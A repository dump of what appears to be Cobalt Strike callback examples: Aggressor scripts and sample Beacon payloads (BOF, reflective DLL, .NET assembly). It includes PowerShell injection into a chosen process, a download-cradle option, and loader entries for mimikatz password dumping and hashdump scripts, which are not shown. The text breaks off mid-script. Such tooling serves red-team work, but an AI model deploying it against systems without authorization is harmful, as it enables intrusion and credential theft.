├── .gitignore ├── bof ├── binline_execute │ ├── bof_callback.x64.o │ ├── bof_callback.x86.o │ ├── build.sh │ ├── build.bat │ └── bof_callback.c ├── beacon_inline_execute │ ├── bof_callback.x64.o │ ├── bof_callback.x86.o │ ├── build.sh │ ├── build.bat │ └── bof_callback.c ├── cs_bof_callback_test.cna └── beacon.h ├── dllspawn └── example_dll │ ├── example_dll.x64.dll │ ├── example_dll.x86.dll │ ├── build.bat │ ├── example_dll.c │ ├── ReflectiveDLLInjection.h │ ├── cs_example_dll.cna │ ├── ReflectiveLoader.h │ └── ReflectiveLoader.c ├── execute_assembly └── example_ea │ ├── example_ea.exe │ ├── build.bat │ ├── program.cs │ └── cs_example_ea.cna ├── dllinject └── example_dll │ ├── example_dllinject.x64.dll │ ├── example_dllinject.x86.dll │ ├── build.bat │ ├── example_dllinject.c │ ├── ReflectiveDLLInjection.h │ ├── cs_example_dllinject.cna │ ├── ReflectiveLoader.h │ └── ReflectiveLoader.c ├── powershell ├── cs_powershell_clear.cna ├── psinject │ └── cs_get_services_inject.cna ├── bpowershell │ └── cs_get_services_shell.cna └── bpowerpick │ └── cs_get_services_pick.cna ├── cs_main.cna ├── mimikatz ├── coffee │ └── cs_coffee.cna ├── logon_passwords │ └── cs_logon_passwd_elevate.cna └── export_certificates │ └── cs_export_certificates.cna ├── bnet ├── cs_get_domain.cna └── cs_get_admin_user_info.cna ├── hashdump └── cs_get_hashes.cna ├── portscan └── cs_portscan.cna ├── README.md └── LICENSE /.gitignore: -------------------------------------------------------------------------------- 1 | 2 | # IntelliJ files 3 | *.iml 4 | .idea 5 | 6 | -------------------------------------------------------------------------------- /bof/binline_execute/bof_callback.x64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Cobalt-Strike/callback_examples/HEAD/bof/binline_execute/bof_callback.x64.o -------------------------------------------------------------------------------- /bof/binline_execute/bof_callback.x86.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Cobalt-Strike/callback_examples/HEAD/bof/binline_execute/bof_callback.x86.o -------------------------------------------------------------------------------- /dllspawn/example_dll/example_dll.x64.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Cobalt-Strike/callback_examples/HEAD/dllspawn/example_dll/example_dll.x64.dll -------------------------------------------------------------------------------- /dllspawn/example_dll/example_dll.x86.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Cobalt-Strike/callback_examples/HEAD/dllspawn/example_dll/example_dll.x86.dll -------------------------------------------------------------------------------- /execute_assembly/example_ea/example_ea.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Cobalt-Strike/callback_examples/HEAD/execute_assembly/example_ea/example_ea.exe -------------------------------------------------------------------------------- /bof/beacon_inline_execute/bof_callback.x64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Cobalt-Strike/callback_examples/HEAD/bof/beacon_inline_execute/bof_callback.x64.o -------------------------------------------------------------------------------- /bof/beacon_inline_execute/bof_callback.x86.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Cobalt-Strike/callback_examples/HEAD/bof/beacon_inline_execute/bof_callback.x86.o -------------------------------------------------------------------------------- /dllinject/example_dll/example_dllinject.x64.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Cobalt-Strike/callback_examples/HEAD/dllinject/example_dll/example_dllinject.x64.dll -------------------------------------------------------------------------------- /dllinject/example_dll/example_dllinject.x86.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Cobalt-Strike/callback_examples/HEAD/dllinject/example_dll/example_dllinject.x86.dll -------------------------------------------------------------------------------- /bof/binline_execute/build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | i686-w64-mingw32-gcc -c bof_callback.c -o bof_callback.x86.o 4 | x86_64-w64-mingw32-gcc -c bof_callback.c -o bof_callback.x64.o 5 | -------------------------------------------------------------------------------- /bof/beacon_inline_execute/build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | i686-w64-mingw32-gcc -c bof_callback.c -o bof_callback.x86.o 4 | x86_64-w64-mingw32-gcc -c bof_callback.c -o bof_callback.x64.o 5 | -------------------------------------------------------------------------------- /bof/binline_execute/build.bat: -------------------------------------------------------------------------------- 1 | set PLAT="x86" 2 | IF "%Platform%"=="x64" set PLAT="x64" 3 | set VERSION="WIN32" 4 | IF "%Platform%"=="x64" set VERSION="WIN64" 5 | 6 | cl.exe /D %VERSION% /c /GS- bof_callback.c /Fobof_callback.%PLAT%.o 7 | 8 | 9 | 10 | 11 | -------------------------------------------------------------------------------- /bof/beacon_inline_execute/build.bat: -------------------------------------------------------------------------------- 1 | set PLAT="x86" 2 | IF "%Platform%"=="x64" set PLAT="x64" 3 | set VERSION="WIN32" 4 | IF "%Platform%"=="x64" set VERSION="WIN64" 5 | 6 | cl.exe /D %VERSION% /c /GS- bof_callback.c /Fobof_callback.%PLAT%.o 7 | 8 | 9 | 10 | 11 | -------------------------------------------------------------------------------- /dllspawn/example_dll/build.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | 3 | set PLAT="x86" 4 | IF /I "%Platform%"=="x64" set PLAT="x64" 5 | 6 | echo Building Platform %PLAT% 7 | cl.exe ReflectiveLoader.c example_dll.c /LD /link /OUT:example_dll.%PLAT%.dll 8 | 9 | echo Cleanup temporary files 10 | del *.lib *.exp *.obj 11 | -------------------------------------------------------------------------------- /dllinject/example_dll/build.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | 3 | set PLAT="x86" 4 | IF /I "%Platform%"=="x64" set PLAT="x64" 5 | 6 | echo Building Platform %PLAT% 7 | cl.exe ReflectiveLoader.c example_dllinject.c /LD /link /OUT:example_dllinject.%PLAT%.dll 8 | 9 | echo Cleanup temporary files 10 | del *.lib *.exp *.obj 11 | -------------------------------------------------------------------------------- /execute_assembly/example_ea/build.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | 3 | :: Set your Microsoft.Net framework directory 4 | ::set DOTNETDIR="C:\Windows\Microsoft.NET\Framework\v4.0.30319" 5 | set DOTNETDIR="C:\Program Files\Microsoft Visual Studio\2022\Professional\Msbuild\Current\Bin\Roslyn" 6 | 7 | :: Build the executable 8 | %DOTNETDIR%\csc.exe /t:exe /out:example_ea.exe Program.cs 9 | -------------------------------------------------------------------------------- /powershell/cs_powershell_clear.cna: -------------------------------------------------------------------------------- 1 | 2 | beacon_command_register( 3 | "cs_powershell_clear", 4 | "Clear the imported PowerShell script from a Beacon session.", 5 | 6 | "Clear the imported PowerShell script from a Beacon session.\n\n" . 7 | 8 | "Usage: \n" . 9 | " cs_powershell_clear\n\n" . 10 | 11 | "Arguments:\n" . 12 | " \$1 - beacon id (CS automatically adds this argument)\n\n", 13 | 14 | "cs_callback_examples" 15 | ); 16 | 17 | alias cs_powershell_clear { 18 | bpowershell_import_clear($1); 19 | } 20 | -------------------------------------------------------------------------------- /execute_assembly/example_ea/program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace bexecute_assembly 4 | { 5 | internal class Program 6 | { 7 | static void Main(string[] args) 8 | { 9 | Console.WriteLine("Execute Assembly callback example:"); 10 | 11 | // Write out the arguments 12 | foreach (string arg in args) 13 | { 14 | Console.WriteLine("d:{0}", arg); 15 | 16 | // Wait before sending the next item. 17 | System.Threading.Thread.Sleep(5000); 18 | } 19 | 20 | Console.WriteLine("done"); 21 | } 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /dllspawn/example_dll/example_dll.c: -------------------------------------------------------------------------------- 1 | #include "ReflectiveLoader.h" 2 | #include "string.h" 3 | #include "stdio.h" 4 | 5 | void go(char * args) { 6 | char *arg = NULL; 7 | char *next = NULL; 8 | 9 | 10 | printf("Execute dllspawn callback example:\n"); 11 | 12 | 13 | if (args != NULL) { 14 | char *copy = NULL; 15 | size_t len = 0; 16 | 17 | // Do not destroy the original string 18 | len = strlen(args); 19 | copy = malloc(len + 1); 20 | 21 | if (copy != NULL) { 22 | memcpy(copy, args, len); 23 | copy[len] = '\0'; 24 | 25 | // Write out the arguments 26 | // Simple parser to tokenize on a ' '. Does not handle quoted tokens. 27 | arg = strtok_s(copy, " ", &next); 28 | while (arg != NULL) { 29 | printf("d:%s\n", arg); 30 | fflush(stdout); 31 | 32 | // Wait before sending the next item. 33 | Sleep(5000); 34 | 35 | arg = strtok_s(NULL, " ", &next); 36 | } 37 | 38 | // cleanup the copy 39 | free(copy); 40 | } 41 | } 42 | 43 | printf("done\n"); 44 | fflush(stdout); 45 | } 46 | 47 | BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) { 48 | BOOL bReturnValue = TRUE; 49 | 50 | switch( dwReason ) { 51 | case DLL_QUERY_HMODULE: 52 | break; 53 | 54 | case DLL_PROCESS_ATTACH: 55 | 56 | go((char *)lpReserved); 57 | 58 | ExitProcess(0); 59 | break; 60 | 61 | case DLL_PROCESS_DETACH: 62 | case DLL_THREAD_ATTACH: 63 | case DLL_THREAD_DETACH: 64 | break; 65 | } 66 | return bReturnValue; 67 | } 68 | -------------------------------------------------------------------------------- /dllinject/example_dll/example_dllinject.c: -------------------------------------------------------------------------------- 1 | #include "ReflectiveLoader.h" 2 | #include "string.h" 3 | #include "stdio.h" 4 | 5 | // Set buffer size to default task size (1Mb) to avoid limitations with the bi-directional communication. 6 | #define BUFFER_SIZE (1024*1024) 7 | 8 | void go(char * args) { 9 | /* As this is an example the pipename and names array will be hard coded as it is 10 | * a little more difficult to pass user information to a DLL designed to work with 11 | * the bdllinject aggressor function. 12 | * 13 | * It is possible to utilize Aggressor Script to "stomp" information into the DLL 14 | * but that is left as an exercise for the user to implement. 15 | */ 16 | const char pipename[] = "\\\\.\\pipe\\mynamedpipe"; 17 | const char *names[] = {"Han", "Luke", "Leia"}; 18 | int numberOfNames = 3, index = 0; 19 | 20 | HANDLE hPipe = INVALID_HANDLE_VALUE; 21 | CHAR chBuf[512]; 22 | int sleepInterval = 2000; 23 | BOOL fSuccess = FALSE; 24 | DWORD cbToWrite = 0, cbWritten = 0; 25 | 26 | hPipe = CreateNamedPipeA(pipename, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE, 1, BUFFER_SIZE, BUFFER_SIZE, 0, NULL); 27 | if (!hPipe) { 28 | return; 29 | } 30 | 31 | if (!ConnectNamedPipe(hPipe, NULL)) { 32 | return; 33 | } 34 | 35 | numberOfNames++; // Add one extra name for the 'done' keyword 36 | while (numberOfNames--) { 37 | if (numberOfNames == 0) { 38 | cbToWrite = _snprintf(chBuf, sizeof(chBuf), "done\n"); 39 | sleepInterval = 0; 40 | } 41 | else { 42 | cbToWrite = _snprintf(chBuf, sizeof(chBuf), "d:%s\n", names[index]); 43 | index++; 44 | } 45 | 46 | fSuccess = WriteFile(hPipe, chBuf, cbToWrite, &cbWritten, NULL); 47 | 48 | if (!fSuccess) { 49 | break; 50 | } 51 | 52 | if (sleepInterval > 0) { 53 | Sleep(sleepInterval); 54 | } 55 | } 56 | 57 | FlushFileBuffers(hPipe); 58 | DisconnectNamedPipe(hPipe); 59 | CloseHandle(hPipe); 60 | } 61 | 62 | BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) { 63 | BOOL bReturnValue = TRUE; 64 | 65 | switch( dwReason ) { 66 | case DLL_QUERY_HMODULE: 67 | break; 68 | 69 | case DLL_PROCESS_ATTACH: 70 | 71 | go((char *)lpReserved); 72 | 73 | ExitThread(0); 74 | break; 75 | 76 | case DLL_PROCESS_DETACH: 77 | case DLL_THREAD_ATTACH: 78 | case DLL_THREAD_DETACH: 79 | break; 80 | } 81 | return bReturnValue; 82 | } 83 | -------------------------------------------------------------------------------- /dllspawn/example_dll/ReflectiveDLLInjection.h: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H 29 | #define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H 30 | //===============================================================================================// 31 | #define WIN32_LEAN_AND_MEAN 32 | #include 33 | 34 | // we declare some common stuff in here... 35 | 36 | #define DLL_QUERY_HMODULE 6 37 | 38 | #define DEREF( name )*(UINT_PTR *)(name) 39 | #define DEREF_64( name )*(DWORD64 *)(name) 40 | #define DEREF_32( name )*(DWORD *)(name) 41 | #define DEREF_16( name )*(WORD *)(name) 42 | #define DEREF_8( name )*(BYTE *)(name) 43 | 44 | typedef ULONG_PTR (WINAPI * REFLECTIVELOADER)( VOID ); 45 | typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID ); 46 | 47 | #define DLLEXPORT __declspec( dllexport ) 48 | 49 | #if defined _M_X64 50 | #define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR 51 | #define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN 52 | #define WIN_X64 53 | #elif defined _M_IX86 54 | #define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR 55 | #define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN 56 | #define WIN_X86 57 | #endif 58 | 59 | 60 | //===============================================================================================// 61 | #endif 62 | //===============================================================================================// 63 | -------------------------------------------------------------------------------- /dllinject/example_dll/ReflectiveDLLInjection.h: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H 29 | #define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H 30 | //===============================================================================================// 31 | #define WIN32_LEAN_AND_MEAN 32 | #include 33 | 34 | // we declare some common stuff in here... 35 | 36 | #define DLL_QUERY_HMODULE 6 37 | 38 | #define DEREF( name )*(UINT_PTR *)(name) 39 | #define DEREF_64( name )*(DWORD64 *)(name) 40 | #define DEREF_32( name )*(DWORD *)(name) 41 | #define DEREF_16( name )*(WORD *)(name) 42 | #define DEREF_8( name )*(BYTE *)(name) 43 | 44 | typedef ULONG_PTR (WINAPI * REFLECTIVELOADER)( VOID ); 45 | typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID ); 46 | 47 | #define DLLEXPORT __declspec( dllexport ) 48 | 49 | #if defined _M_X64 50 | #define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR 51 | #define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN 52 | #define WIN_X64 53 | #elif defined _M_IX86 54 | #define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR 55 | #define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN 56 | #define WIN_X86 57 | #endif 58 | 59 | 60 | //===============================================================================================// 61 | #endif 62 | //===============================================================================================// 63 | -------------------------------------------------------------------------------- /cs_main.cna: -------------------------------------------------------------------------------- 1 | # The cs_main.cna script will load all of the scripts within this project. 2 | # It is meant to be the only script loaded into the Cobalt Strike UI 3 | # and it's job is to include all of the .cna scripts in this project. 4 | # The list of .cna scripts is defined in the @scripts variable. 5 | 6 | # Setup Strict Mode to identify undeclared variables. 7 | debug(debug() | 4); 8 | 9 | # Declare global variables 10 | global('$cs_main_base_dir @scripts $script'); 11 | 12 | # Set the base folder for the "cs_main" script 13 | $cs_main_base_dir = script_resource(""); 14 | 15 | # Override the default script_resource function to support the 16 | # ability to use the 'include' functionality to load other 17 | # scripts. 18 | # 19 | # Notes: 20 | # - The scalar $__INCLUDE__ is set to the name of the included file. 21 | # This is set correctly when the script is loaded initially However, 22 | # the value will be set to the last included script. This will cause 23 | # issues with generating full path names when included script use 24 | # the script_resource() in a function. 25 | # 26 | # - In order to resolve the above issue any included script that uses 27 | # the script_resource function needs to define a unique global variable 28 | # to set the base path directory for that script. That variable would 29 | # then be used as the 2nd optional parameter to this function to correctly 30 | # set the base path dir to use when generating the full path name. 31 | # 32 | # Arguments 33 | # $1 - relative path name to the script resource 34 | # $2 - an optional argument to use for the base_path_dir 35 | # 36 | sub script_resource { 37 | # Declare local variables 38 | local('$rel_path_name $base_path_dir'); 39 | 40 | # Assign parameters user friendly names 41 | ($rel_path_name, $base_path_dir) = @_; 42 | 43 | # Debug statements 44 | #println("cs_main_base_dir: $cs_main_base_dir"); 45 | #println("INCLUDE: $__INCLUDE__"); 46 | #println("rel_path_name: $rel_path_name"); 47 | #println("base_path_dir: $base_path_dir\n"); 48 | 49 | # Determine which full path to return for the requested script resource 50 | if ($base_path_dir ne "") { 51 | return getFileProper($base_path_dir, $rel_path_name); 52 | } 53 | else if ($__INCLUDE__ eq "") { 54 | return getFileProper($cs_main_base_dir, $rel_path_name); 55 | } 56 | else { 57 | return getFileProper(getFileParent($__INCLUDE__), $rel_path_name); 58 | } 59 | } 60 | 61 | beacon_command_group("cs_callback_examples", "Callback Examples", "This group contains examples of how to use a callback with supported aggressor script functions"); 62 | 63 | # Define all of the scripts that should be loaded by the cs_main 64 | @scripts = @( 65 | "bnet/cs_get_domain.cna", 66 | "bnet/cs_get_admin_user_info.cna", 67 | "bof/cs_bof_callback_test.cna", 68 | "dllinject/example_dll/cs_example_dllinject.cna", 69 | "dllspawn/example_dll/cs_example_dll.cna", 70 | "execute_assembly/example_ea/cs_example_ea.cna", 71 | "hashdump/cs_get_hashes.cna", 72 | "mimikatz/export_certificates/cs_export_certificates.cna", 73 | "mimikatz/logon_passwords/cs_logon_passwd_elevate.cna", 74 | "mimikatz/coffee/cs_coffee.cna", 75 | "portscan/cs_portscan.cna", 76 | "powershell/psinject/cs_get_services_inject.cna", 77 | "powershell/cs_powershell_clear.cna", 78 | "powershell/bpowershell/cs_get_services_shell.cna", 79 | "powershell/bpowerpick/cs_get_services_pick.cna" 80 | ); 81 | 82 | # Include the set of scripts 83 | foreach $script (@scripts) { 84 | # Already know the components of the path so build it this way. 85 | include($cs_main_base_dir . "/" . $script); 86 | 87 | # Could also use the script_resource function to do the same thing. 88 | # include(script_resource($script, $cs_main_base_dir)); 89 | } 90 | -------------------------------------------------------------------------------- /powershell/psinject/cs_get_services_inject.cna: -------------------------------------------------------------------------------- 1 | 2 | # Filter the returned list of Windows services and only report 3 | # on the services that are 'Running'. 4 | # 5 | # Arguments 6 | # $1 - beacon id 7 | # $2 - result - output of the 'Get-Service' powershell cmdlet 8 | # $3 - info - Map containing information about the result 9 | # 10 | sub filter_running_services_inject { 11 | # Declare local variables 12 | local('$bid $result %info $output @lines $line $jid'); 13 | 14 | # Assign parameters user friendly names 15 | ($bid, $result, %info) = @_; 16 | $jid = %info['jid']; 17 | #println("**** arg1 (bid): $bid"); 18 | #print("**** arg2 (result): $result"); 19 | #println("**** arg3 (info): " . %info); 20 | 21 | # Process only output and error events 22 | if ("output" eq %info["type"]) { 23 | # Process the result 24 | $output = ""; 25 | @lines = split('\n', $result); 26 | foreach $line (@lines) { 27 | #println("check line: $line"); 28 | if (substr($line, 0, 8) eq "Running ") { 29 | $output .= "$line\n"; 30 | } 31 | } 32 | 33 | # Log the output back to beacon console 34 | bjoblog($bid, $jid, "received output:\n" . $output); 35 | } 36 | else if ("error" eq %info["type"]) { 37 | bjoberror($bid, $jid, $result); 38 | } 39 | } 40 | 41 | beacon_command_register( 42 | "cs_get_services_inject", 43 | "Run the powershell cmdlet Get-Service and filter on Running using bpsinject", 44 | 45 | "Run the powershell cmdlet Get-Service and filter on Running using bpsinject\n\n" . 46 | 47 | "Usage:\n" . 48 | " cs_get_services_inject --pid --arch [x64|x86]\n\n" . 49 | 50 | "Arguments:\n" . 51 | " \$1 - beacon id (CS automatically adds this argument)\n" . 52 | " --pid - pid to inject into\n" . 53 | " --arch - arch of the pid to inject into\n\n" . 54 | 55 | "Examples:\n" . 56 | " cs_get_services_inject --pid 1234 --arch x64\n\n", 57 | 58 | "cs_callback_examples" 59 | ); 60 | 61 | alias cs_get_services_inject { 62 | # Declare local variables 63 | local('$bid @valid_opts %opts $opt_cnt $opt_ind $opt $value $info'); 64 | 65 | # Assign parameters to the opts hash map 66 | $bid = @_[0]; 67 | $opt_cnt = size(@_); 68 | @valid_opts = @("--pid", "--arch"); 69 | for($opt_ind = 1; $opt_ind < $opt_cnt; $opt_ind++) { 70 | # Set the arg and value for this iteration 71 | $opt = @_[$opt_ind]; 72 | $opt_ind++; 73 | $value = iff( $opt_ind >= $opt_cnt, $null, @_[$opt_ind] ); 74 | 75 | # Do some simple validation on opt and value 76 | if ($opt !in @valid_opts) { 77 | berror($bid, "$opt is not a valid option."); 78 | return; 79 | } 80 | if ($value is $null || $value in @valid_opts) { 81 | berror($bid, "Missing or invalid value for the $opt option."); 82 | return; 83 | } 84 | 85 | # Save the opt and value into the opts hash 86 | %opts[$opt] = $value; 87 | } 88 | 89 | # Validate the required options 90 | if (!-isnumber %opts["--pid"] || %opts["--pid"] < 0) { 91 | berror($bid, "pid is not a valid: " . %opts["--pid"]); 92 | return; 93 | } 94 | if (%opts["--arch"] !in @("x86", "x64")) { 95 | berror($bid, "arch is not valid, must be x86 or x64."); 96 | return; 97 | } 98 | 99 | # Print some info to the script console 100 | $info = "beacon: $bid will execute Get-Service and inject into " . %opts["--pid"] . " \(" . %opts["--arch"] . "\)"; 101 | println("$info"); 102 | 103 | # Execute the command 104 | bpsinject($bid, %opts["--pid"], %opts["--arch"], "Get-Service", &filter_running_services_inject); 105 | #bpsinject($bid, %opts["--pid"], %opts["--arch"], "Get-Service", { filter_running_services_inject($1, $2, $3); }); 106 | } 107 | -------------------------------------------------------------------------------- /powershell/bpowershell/cs_get_services_shell.cna: -------------------------------------------------------------------------------- 1 | 2 | # Filter the returned list of Windows services and only report 3 | # on the services that are 'Running'. 4 | # 5 | # Arguments 6 | # $1 - beacon id 7 | # $2 - result - output of the 'Get-Service' powershell cmdlet 8 | # $3 - info - Map containing information about the result 9 | # 10 | sub filter_running_services_shell { 11 | # Declare local variables 12 | local('$bid $result %info $output @lines $line $jid'); 13 | 14 | # Assign parameters user friendly names 15 | ($bid, $result, %info) = @_; 16 | $jid = %info['jid']; 17 | #println("**** arg1 (bid): $bid"); 18 | #print("**** arg2 (result): $result"); 19 | #println("**** arg3 (info): " . %info); 20 | 21 | # Process only output and error events 22 | if ("output" eq %info["type"]) { 23 | # Process the result 24 | $output = ""; 25 | @lines = split('\n', $result); 26 | foreach $line (@lines) { 27 | #println("check line: $line"); 28 | if (substr($line, 0, 8) eq "Running ") { 29 | $output .= "$line\n"; 30 | } 31 | } 32 | 33 | # Log the output back to beacon console 34 | bjoblog($bid, $jid, "received output:\n" . $output); 35 | } 36 | else if ("error" eq %info["type"]) { 37 | bjoberror($bid, $jid, $result); 38 | } 39 | } 40 | 41 | beacon_command_register( 42 | "cs_get_services_shell", 43 | "Run the powershell cmdlet Get-Service and filter on Running using bpowershell", 44 | 45 | "Run the powershell cmdlet Get-Service and filter on Running using bpowershell\n\n" . 46 | 47 | "Usage:\n" . 48 | " cs_get_services_shell [options]\n\n" . 49 | 50 | "Arguments:\n" . 51 | " \$1 - beacon id (CS automatically adds this argument)\n\n" . 52 | 53 | "Options:\n" . 54 | " --cradle - specify a download cradle\n\n" . 55 | 56 | "If the --cradle option is not used then the current imported powershell\n" . 57 | "script will be used. If the --cradle option is specified then the current\n" . 58 | "imported powershell script is ignored and this argument is treated as the\n" . 59 | "download cradle to prepend to the command. Most likely this will contain\n" . 60 | "spaces and you will need to double quote the value. For example:\n" . 61 | " cs_get_services_shell --cradle \"your download cradle with spaces\"\n" . 62 | "For no download cradle use --cradle \"\"\n\n" . 63 | 64 | "Examples:\n" . 65 | " cs_get_services_shell\n" . 66 | " cs_get_services_shell --cradle \"\"\n\n", 67 | 68 | "cs_callback_examples" 69 | ); 70 | 71 | alias cs_get_services_shell { 72 | # Declare local variables 73 | local('$bid @valid_opts %opts $opt_cnt $opt_ind $opt $value $info'); 74 | 75 | # Assign parameters to the opts hash map 76 | $bid = @_[0]; 77 | $opt_cnt = size(@_); 78 | @valid_opts = @("--cradle"); 79 | for($opt_ind = 1; $opt_ind < $opt_cnt; $opt_ind++) { 80 | # Set the arg and value for this iteration 81 | $opt = @_[$opt_ind]; 82 | $opt_ind++; 83 | $value = iff( $opt_ind >= $opt_cnt, $null, @_[$opt_ind] ); 84 | 85 | # Do some simple validation on opt and value 86 | if ($opt !in @valid_opts) { 87 | berror($bid, "$opt is not a valid option."); 88 | return; 89 | } 90 | if ($value is $null || $value in @valid_opts) { 91 | berror($bid, "Missing or invalid value for the $opt option."); 92 | return; 93 | } 94 | 95 | # Save the opt and value into the opts hash 96 | %opts[$opt] = $value; 97 | } 98 | 99 | # Print some info to the script console 100 | $info = "beacon: $bid will execute a Get-Service" . 101 | " cradle: " . iff(%opts["--cradle"] is $null, "\$null", "\'" . %opts["--cradle"] . "\'"); 102 | println("$info"); 103 | 104 | # Execute the 105 | bpowershell($bid, "Get-Service", %opts["--cradle"], &filter_running_services_shell); 106 | #bpowershell($bid, "Get-Service", %opts["--cradle"], { filter_running_services_shell($1, $2, $3); }); 107 | } 108 | -------------------------------------------------------------------------------- /mimikatz/coffee/cs_coffee.cna: -------------------------------------------------------------------------------- 1 | 2 | # A simple callback to add additional text to the coffee output 3 | # 4 | # Arguments 5 | # $1 - beacon id 6 | # $2 - result 7 | # $3 - info - Map containing information about the result 8 | # 9 | sub coffee_cb { 10 | # Declare local variables 11 | local('$bid $result %info $jid'); 12 | 13 | # Assign parameters user friendly names 14 | ($bid, $result, %info) = @_; 15 | $jid = %info['jid']; 16 | #println("**** coffee_cb for bmimikatz"); 17 | #println("**** arg1 (bid): $bid"); 18 | #println("**** arg2 (rest of output):\n$result"); 19 | #println("**** arg3 (info): " . %info); 20 | 21 | # Process only output and error events 22 | if ("output" eq %info["type"]) { 23 | # Log the output back to beacon console using the alt method 24 | bjoblog($bid, $jid, "received output:\n" . $result . "\nThank you, that is very tasty\n"); 25 | } 26 | else if ("error" eq %info["type"]) { 27 | bjoberror($bid, $jid, $result); 28 | } 29 | 30 | #println("**** coffee_sub_callback_cb done"); 31 | } 32 | 33 | beacon_command_register( 34 | "cs_coffee", 35 | "Request a cop of coffee from mimikatz standard::coffee module", 36 | 37 | "Request a cop of coffee from mimikatz standard::coffee module\n\n" . 38 | 39 | "Usage:\n" . 40 | " cs_coffee 